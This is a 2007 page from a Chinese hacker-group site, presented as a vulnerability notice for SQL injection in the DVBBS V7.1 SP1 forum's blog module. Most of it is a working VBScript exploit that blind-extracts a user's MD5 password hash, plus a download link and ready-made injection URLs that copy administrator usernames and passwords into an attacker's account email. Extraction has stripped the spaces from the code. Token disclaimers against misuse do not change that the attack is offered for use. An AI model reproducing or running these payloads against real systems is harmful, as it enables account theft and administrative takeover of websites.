文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
DVBBS V7.1 SP1 Boke注入漏洞 VBS版

www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------
 首先说明一下,此漏洞不支持中文博客名称。

原因是Cls_Main.asp中获得boke.asp参数是通过以下语句实现的
bbs\boke\目录Cls_Main.asp文件第34行
ArchiveLink=Lcase(Request.ServerVariables("QUERY_STRING"))
ArchiveLink中的字符以utf-8方式编码,中文等都被转化成%xx%xx形式,空格也被转化为%20
所以当时写的ASP利用程序中的“'”与关键字“and”中间没写空格,为的就是避开%20
后来在www.cnbct.org看到可以使用“/**/”注释语法或“%09”来避开空格,
避开空格后,用UPDATE语句就可以轻松获得DVBBSV7.1SP1SQL版的后台控制权限

下面是DVBBSV7.1SP1ACCESS版Boke注入漏洞VBS利用程序的代码
'============================================================================
'DVBBSV7.1Boke注入漏洞利用工具
'使用说明:
'在命令提示符下:
'cscript.exeblog.vbs要攻击的网站的博客路径要破解的博客用户密码
'如:
'cscript.exeblog.vbswww.xxxx.com/bbs/boke.aspadmin
'byexecsl2006.5.4
'============================================================================
OnErrorResumeNext
DimoArgs
DimoBokeXML'XMLHTTP对象用来打开目标网址
DimTargetURL'目标网址
DimBlogName'博客用户
DimTempStr'存放已获取的部分MD5密码
DimCharHex'定义16进制字符

SetoArgs=WScript.arguments
IfoArgs.count<2ThenCallShowUsage()

SetoBokeXML=CreateObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL=oArgs(0)
IfLCase(Left(TargetURL,7))<>"http://"ThenTargetURL="http://"&TargetURL
Ifright(TargetURL,1)<>"?"ThenTargetURL=TargetURL&"?"

BlogName=oArgs(1)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

Callmain(TargetURL,BlogName)

SetoBokeXML=Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得Boke用户密码
'============================================
Submain(TargetURL,BlogName)
 DimMainOffset,SubOffset,TempLen,OpenURL,GetPage
 ForMainOffset=1To16
 ForSubOffset=0To15
 TempLen=0
 OpenURL=TargetURL&BlogName&"'and'"&TempStr&CharHex(SubOffset)&"'=left(password,"&MainOffset&")and''='.index.html"
 oBokeXML.open"Get",OpenURL,False,"",""
 oBokeXML.send
 GetPage=BytesToBstr(oBokeXML.ResponseBody)
 '判断访问的页面是否存在
 IfInStr(GetPage,"")=0AndInStr(GetPage,"您正在搜索的网页可能已经删除、更名或暂时不可用。")=0Then
 '“博客用户不存在或填写的资料有误”为错误标志,返回此标志说明猜解的MD5不正确
 '如果得到0000000000000000的MD5值,请修改错误标志
 IfInStr(GetPage,"博客用户不存在或填写的资料有误")=0Then
 TempStr=TempStr&CharHex(SubOffset)
 WScript.Echo"已获取的MD5值为:"&CStr(TempStr)&"其他密码正在读取中,请等待。。。"
 Exitfor
 Endif
 Else
 WScript.echovbcrlf&"您输入的网址无法访问,请确认后重新输入。"&vbcrlf
 WScript.echovbcrlf&"本程序只用于学习交流,不能用于其非法用途。"&vbcrlf&"因使用本程序引起的一切后果和责任由使用者自负"
 WScript.Quit
 EndIf
 next
 Next
 WScript.Echo"成功读取密码的MD5值,为:"&TempStr&"请不要使用本程序进行破坏行为!"
Endsub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
FunctionBytesToBstr(body)
dimobjstream
setobjstream=CreateObject("ADODB.Stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Writebody
objstream.Position=0
objstream.Type=2
objstream.Charset="GB2312"
BytesToBstr=objstream.ReadText
objstream.Close
setobjstream=nothing
EndFunction

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
SubShowUsage()
 WScript.echo"DVBBSv7.1Boke利用程序"&vbcrlf&"ByExecsl06.4.23"
 WScript.echo"Usage:"&vbcrlf&"CScript"&WScript.ScriptFullName&"TargetURLBlogName"
 WScript.echo"Example:"&vbcrlf&"CScript"&WScript.ScriptFullName&"www.xxxx.com/bbs/boke.aspadmin"
 WScript.echo""
 WScript.Quit
EndSub
[Copytoclipboard]

您可以在这里下到该程序的vbs文件
http://www.sdibt.edu.cn/jgsz/jwc/admin/help/blog.vbs也可以在文章末尾下到

下面是DVBBSV7.1SP1Boke注入漏洞SQL版获得管理员密码的SQL语句,
当然大家可以直接把的管理员密码改成自己的密码,不过这样就太不厚道了
希望大家不要搞破坏!搞破坏RP大大地坏!

用户表Dv_User中admin密码放到用户execsl的Email中
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='admin')/**/where[UserName]='execsl';--.index.html
将管理员表Dv_admin中第一个用户用户名放到用户execsl的Email中
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Username]from/**/Dv_admin)/**/where[UserName]='execsl';--.index.html
将管理员表Dv_admin中第一个用户密码放到用户execsl的Email中
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Password]from/**/Dv_admin)/**/where[UserName]='execsl';--.index.html
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select[UserPassword]from/**/Dv_admin/**/where[id]=1)/**/where[UserName]='execsl';--.index.html
   -------------------------------------------------------------------------------------------
  上一篇:动网论坛银行插件漏洞
  下一篇:IE最新漏洞 XP SP2不能幸免
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
DVBBS 7.1.0 SP1博客远程
bbsxp上传注入漏洞
现代教务管理系统漏洞
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
沸腾新闻系统 V1.1 Access
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
oblog商业版本4.6注射漏洞
PHPWind论坛5.3版postuplo
百度超级搜霸远程代码执行
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
bo-blog2.0.3文件浏览漏洞
宁波都市网漏洞公告(通杀
Microsoft Internet Explo
乔客(joekoe) CMS 4.0 的2
雅虎窗件曝出缓冲区溢出漏
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号